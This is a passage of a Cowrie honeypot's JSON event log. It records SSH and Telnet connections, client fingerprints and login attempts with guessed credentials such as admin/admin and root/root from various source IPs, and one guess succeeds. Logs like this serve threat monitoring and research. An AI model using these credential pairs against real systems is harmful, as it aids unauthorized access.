"aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.225707Z","src_ip":"87.251.64.176","session":"68d9b4026e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.420352Z","src_ip":"37.143.61.241","session":"fda426e364f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.511490Z","src_ip":"87.251.64.176","session":"68d9b4026e17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.610353Z","session":"68d9b4026e17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.707547Z","src_ip":"87.251.64.176","session":"68d9b4026e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:32:56.806165Z","src_ip":"87.251.64.176","session":"68d9b4026e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40492,"dst_ip":"10.17.0.5","dst_port":23,"session":"41df6ebaf983","protocol":"telnet","message":"New connection: 152.42.224.71:40492 (10.17.0.5:23) [session: 41df6ebaf983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:01.501572Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40500,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cfac3dfc7d5","protocol":"telnet","message":"New connection: 152.42.224.71:40500 (10.17.0.5:23) [session: 6cfac3dfc7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:01.850754Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41376,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc426063251","protocol":"telnet","message":"New connection: 152.42.224.71:41376 (10.17.0.5:23) [session: 4bc426063251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:08.057905Z"}
{"eventid":"cowrie.session.closed","duration":52.157286643981934,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:11.402444Z","src_ip":"152.42.224.71","session":"cf96f5f62d74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41388,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e568d5b1d43","protocol":"telnet","message":"New connection: 152.42.224.71:41388 (10.17.0.5:23) [session: 1e568d5b1d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:12.591117Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":45312,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f22a5c8f5ed","protocol":"ssh","message":"New connection: 43.133.34.13:45312 (159.203.135.109:22) [session: 9f22a5c8f5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:16.188424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:16.197340Z","src_ip":"43.133.34.13","session":"9f22a5c8f5ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:16.443176Z","src_ip":"43.133.34.13","session":"9f22a5c8f5ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wolf","message":"login attempt [root/wolf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:17.456812Z","src_ip":"43.133.34.13","session":"9f22a5c8f5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:18.706232Z","src_ip":"43.133.34.13","session":"9f22a5c8f5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":38268,"dst_ip":"10.17.0.5","dst_port":22,"session":"f47ebdd9372f","protocol":"ssh","message":"New connection: 45.78.230.231:38268 (10.17.0.5:22) [session: f47ebdd9372f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:22.129447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:22.133901Z","src_ip":"45.78.230.231","session":"f47ebdd9372f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:22.379178Z","src_ip":"45.78.230.231","session":"f47ebdd9372f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:23.394596Z","src_ip":"45.78.230.231","session":"f47ebdd9372f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:24.644358Z","src_ip":"45.78.230.231","session":"f47ebdd9372f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45066,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ffc38e1899a","protocol":"telnet","message":"New connection: 152.42.224.71:45066 (10.17.0.5:23) [session: 1ffc38e1899a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:31.538599Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45068,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf30a9a3142f","protocol":"telnet","message":"New connection: 152.42.224.71:45068 (10.17.0.5:23) [session: cf30a9a3142f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:31.760128Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45072,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7b89bd53e44","protocol":"telnet","message":"New connection: 152.42.224.71:45072 (10.17.0.5:23) [session: f7b89bd53e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:35.635008Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45050,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f4815c726c1","protocol":"telnet","message":"New connection: 152.42.224.71:45050 (10.17.0.5:23) [session: 0f4815c726c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:36.071387Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":46142,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d4a61e87d7","protocol":"ssh","message":"New connection: 43.130.35.229:46142 (159.203.135.109:22) [session: 29d4a61e87d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:36.873037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:36.877678Z","src_ip":"43.130.35.229","session":"29d4a61e87d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:36.946400Z","src_ip":"43.130.35.229","session":"29d4a61e87d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simplepass","message":"login attempt [root/simplepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:37.254468Z","src_ip":"43.130.35.229","session":"29d4a61e87d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:38.326014Z","src_ip":"43.130.35.229","session":"29d4a61e87d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.47766304016113,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:40.328244Z","src_ip":"152.42.224.71","session":"6cfac3dfc7d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11737608909607,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:40.618812Z","src_ip":"152.42.224.71","session":"41df6ebaf983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60914,"dst_ip":"10.17.0.5","dst_port":22,"session":"67959da2f919","protocol":"ssh","message":"New connection: 77.94.47.83:60914 (10.17.0.5:22) [session: 67959da2f919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:43.152186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:43.157126Z","src_ip":"77.94.47.83","session":"67959da2f919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:43.279883Z","src_ip":"77.94.47.83","session":"67959da2f919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"werilopert","message":"login attempt [root/werilopert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:43.651523Z","src_ip":"77.94.47.83","session":"67959da2f919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:44.778350Z","src_ip":"77.94.47.83","session":"67959da2f919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.864346742630005,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:45.922150Z","src_ip":"152.42.224.71","session":"4bc426063251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.889974355697632,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:49.524855Z","src_ip":"152.42.224.71","session":"f7b89bd53e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.518845319747925,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:55.109841Z","src_ip":"152.42.224.71","session":"1e568d5b1d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"218.157.205.238","src_port":60124,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a59cb5c9b8b","protocol":"ssh","message":"New connection: 218.157.205.238:60124 (10.17.0.5:22) [session: 9a59cb5c9b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:57.779504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:57.782935Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:57.987214Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":52478,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb54a6563c09","protocol":"ssh","message":"New connection: 89.108.118.91:52478 (10.17.0.5:22) [session: bb54a6563c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:58.414768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:58.420076Z","src_ip":"89.108.118.91","session":"bb54a6563c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:58.562227Z","src_ip":"89.108.118.91","session":"bb54a6563c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56250,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e960fc4b1a","protocol":"telnet","message":"New connection: 152.42.224.71:56250 (10.17.0.5:23) [session: 94e960fc4b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:58.939462Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"w1aubvoq","message":"login attempt [root/w1aubvoq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:58.987675Z","src_ip":"89.108.118.91","session":"bb54a6563c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:59.110941Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54208,"dst_ip":"10.17.0.5","dst_port":22,"session":"f740c59007dc","protocol":"ssh","message":"New connection: 167.172.81.52:54208 (10.17.0.5:22) [session: f740c59007dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:33:59.735173Z"}
